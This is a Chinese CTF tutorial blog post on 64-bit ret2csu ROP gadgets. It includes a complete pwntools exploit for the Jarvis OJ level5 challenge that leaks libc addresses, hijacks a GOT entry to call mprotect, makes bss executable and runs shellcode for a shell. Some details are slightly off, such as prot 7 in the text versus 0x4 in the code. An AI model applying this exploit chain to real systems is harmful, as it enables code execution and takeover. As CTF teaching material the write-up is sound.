PWN January 03, 2020

栈溢出入门到放弃4

Words count 15k Reading time 13 mins. Read count 0

一、中级栈溢出总结:

来到中级栈溢出这里,当64位的程序很难得到有用的rop链时(参数在rdi,rsi,rdx中,通常是很难凑齐这3个的)就需要我们用程序现有的链子去构造,找找看:

重点介绍一个64位的很好用的ROP链子,这个链子是根据

1562216438697

这两个函数的汇编写出来的,我们可以去看看:

1562216634032

就是这里了,看到loc_4006A6和loc_400690两个位置,这里怎么利用呢?

首先先读懂这段汇编的意思:首先执行抬一次栈的操作,接着要pop6个参数到相应的寄存器中,然后是ret,接着看到上面mov那里,很清晰,r13就是第三个参数,r14就是第二个参数,r15d(低8位)就是第一个参数rdi(edi表示低8位),接着call,r12存放就是需要调用的函数的地址,这里需要让rbx=0,才能完美地实现r12就是调用地址,接着比较rbx和rbp,所以rbp = rbx = 0,才能继续往下执行,不然又跳回mov那里了,继续往下执行,我们需要的只有ret,所以前面的抬栈和ret都可以用垃圾字符填充,这里7条指令需要有56个字节去填充,也就是0x38,个字节,填充了,才能完美到达ret,ret这里填我们想要跳转的地址,这样就完美地利用起来了,总的执行逻辑就是:

1562217310673

为了以后调用方便,总结这里我用一个函数去封装了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pppppp_ret = 0x004006A6
mov_ret = 0x0400690
def mid_overflow(func_plt,rdi,rsi,rdx,next_func):
payload = ''
payload += 'a'*136 //填栈溢出的偏移
payload += p64(pppppp_ret) //开始地址
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(func_plt) //调用函数的地址
payload += p64(rdx) //64位的参数
payload += p64(rsi)
payload += p64(rdi)
payload += p64(mov_ret) //跳转地址
payload += p64(0) //垃圾字符,7
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(next_func) //下一跳函数地址
ru('Input:\n')
sd(payload)
mid_overflow(write_plt,1,read_got,8,vul_func_addr) //调用的write函数,往read_got表里面写入8字节的数据,接着执行vul_func_addr函数

纸上谈兵没有用,来道题目压压惊~

OJ的level5(假定system函数和execve函数用不了)

链接:https://pan.baidu.com/s/1IZHwBkEdBzhhcAEnIUgy5w
提取码:hvaz

1562217801758

1562217711984)1562217719996

逻辑很简单,栈溢出,但是假设没有system和execve的情况下(实际上很常见,以后会遇见的),就是说泄露真实地址调用system已经不现实,但是shellcode也没有用呀,NX保护开了,这可咋整?于是去学习一波,解锁了新姿势—-mprotect函数的运用(修改内存段权限),这样如果我们修改bss段的权限,让它可执行,那么不就可以把shellcode写到上面了吗?这里先来学习一波mprotect:

1
2
3
4
5
6
7
8
9
10
11
#include <sys/mman.h>
int mprotect(const void *addr, size_t len, int prot);

此函数把自addr开始的、长度为len的内存区的保护属性修改为prot指定的值,prot值如下:

prot标签值  描述
PROT_NONE The memory cannot be accessed at all.
PROT_READ The memory can be read.
PROT_WRITE The memory can be written to.
PROT_EXEC The memory can contain executing code.
还记得chmod 777 吗?我们port置为7,表示可读可写可执行~

了解了这个函数,那么要怎么调用这个函数呢?想到got表修改,首先利用write函数泄露出read的真实地址,就可以得到mprotect的真实地址,接着可以往libc_start_main的got表写入mprotect的地址,这样调用libc_start_mian,就是调用mprotect,实现欺骗执行任意我们想要执行的函数。那么能执行mprotect了,就能写入参数(0x600000,0x1000,0x7),这里表示把0x600000到0x601000的内存段变为有可执行的权限。接着可以上shellcode了,接着二次跳转再跑一次程序,直接ret到bss地址即可getshell。

上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
local = 1
elf = ELF('./level3_x64')
if local:
p = process('./level3_x64')
libc = elf.libc

else:
p = remote("pwn2.jarvisoj.com", 9884)
libc = ELF("./libc-2.19.so")

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

vul_func_addr = elf.symbols["vulnerable_function"]
main_got = elf.got['__libc_start_main']
write_got = elf.got['write']
read_got = elf.got['read']
read_libc = libc.symbols['read']
mprotect_libc = libc.symbols['mprotect']
pppppp_ret = 0x004006A6
mov_ret = 0x0400690
bss_addr = elf.bss()

def mid_overflow(func_plt,rdi,rsi,rdx,next_func):
payload = ''
payload += 'a'*136
payload += p64(pppppp_ret)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(func_plt)
payload += p64(rdx)
payload += p64(rsi)
payload += p64(rdi)
payload += p64(mov_ret)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(next_func)
ru('Input:\n')
sd(payload)

mid_overflow(write_got,1,read_got,8,vul_func_addr)
read_addr = u64(rc(8))
mprotect_addr = read_addr - read_libc + mprotect_libc
print "mprotect_addr--->" + hex(mprotect_addr)

shellcode = asm(shellcraft.amd64.sh())
mid_overflow(read_got,0,bss_addr,len(shellcode),vul_func_addr)
sd(shellcode)

mid_overflow(read_got,0,main_got,8,vul_func_addr)
sd(p64(mprotect_addr))

mid_overflow(main_got,0x600000,0x1000,0x4,vul_func_addr)
payload = "A"*0x88
payload += p64(bss_addr)
ru('Input:\n')
sd(payload)

p.interactive()

改前:rw-p

1562218915200

改后:rwxp

1562218823861

1562218694287

getshell这里用到了一个mprotect的知识,用到了修改got表的知识,也用到了中级栈溢出的知识,是一道不错的题目,懂了受益挺大,不懂就再看看搞懂再往下学。

0%